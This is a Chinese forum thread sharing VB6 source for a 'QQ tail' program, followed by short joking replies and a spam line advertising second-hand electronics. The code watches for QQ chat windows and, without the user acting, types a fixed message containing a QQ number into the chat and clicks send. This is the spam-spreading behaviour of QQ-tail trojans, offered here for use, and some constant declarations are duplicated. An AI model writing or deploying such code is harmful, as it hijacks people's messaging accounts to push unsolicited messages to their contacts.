vbqq尾巴

pig444

Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function sendmessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function SetFocuss Lib "user32" Alias "SetFocus" (ByVal hwnd As Long) As Long
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Const BM_CLICK = &HF5
Private Const GW_Child = 5
Private Const GW_HWNDFIRST = 0
Private Const GW_HWNDNEXT = 2
Private Const BM_CLICK = &HF5
Private Const GW_Child = 5
Private Const GW_HWNDFIRST = 0
Private Const GW_HWNDNEXT = 2
Private Sub Form_Load()
    Timer1.Interval = 200
    Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
    On Error Resume Next
    Dim thewindow As Long
    Dim sText As String * 255
    Dim TextObj As Long
    Dim thewindow_title As String
   
    thewindow = GetForegroundWindow '获得当前窗口句柄
   
    If thewindow = 0 Then Exit Sub
    thewindow_title = Left$(sText, GetWindowText(thewindow, sText, 255)) '得到聊天窗口标题~
   
    If InStr(thewindow_title, "聊天中") <> 0 Or InStr(thewindow_title, "－ 群") <> 0 Or InStr(thewindow_title, "查看消息") <> 0 Then
        TextObj = FindWindowEx(thewindow, 0, "#32770", vbNullString) '通用对话框的类
        Me.Caption = TextObj
        If TextObj = 0 Then Exit Sub
        SetFocuss TextObj
        SendKeys "Every:444153452"
        send TextObj
    Else
        Exit Sub
    End If
End Sub

Private Sub send(thehwnd As Long)
    Dim temhwnd As Long
    Dim sText As String * 255
    temhwnd = GetWindow(thehwnd, GW_Child)
    temhwnd = GetWindow(temhwnd, GW_HWNDFIRST)
    While temhwnd <> 0
       DoEvents
       Title = Left$(sText, GetWindowText(temhwnd, sText, 255))
       If InStr(Title, "发送") Then
          sendmessage temhwnd, BM_CLICK, 0&, 0&
          Exit Sub
       End If
       temhwnd = GetWindow(temhwnd, GW_HWNDNEXT)
    Wend
End Sub

小生怕怕啊

看到一堆英文的代码我就头疼....{:3_225:}

tymfl

得得得得得得得

“都给朕跪下”

顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶顶

Admic

因文盲啊啊啊啊。。

Dlnn

{:3_234:}路过看看

baozang123

我注定成不了程序员



淘宝网二手手机淘宝网二手电脑淘宝网二手笔记本电脑淘宝网二手数码相机www.infinitichina.com

qq609865683

有没有易语言的
QQ尾巴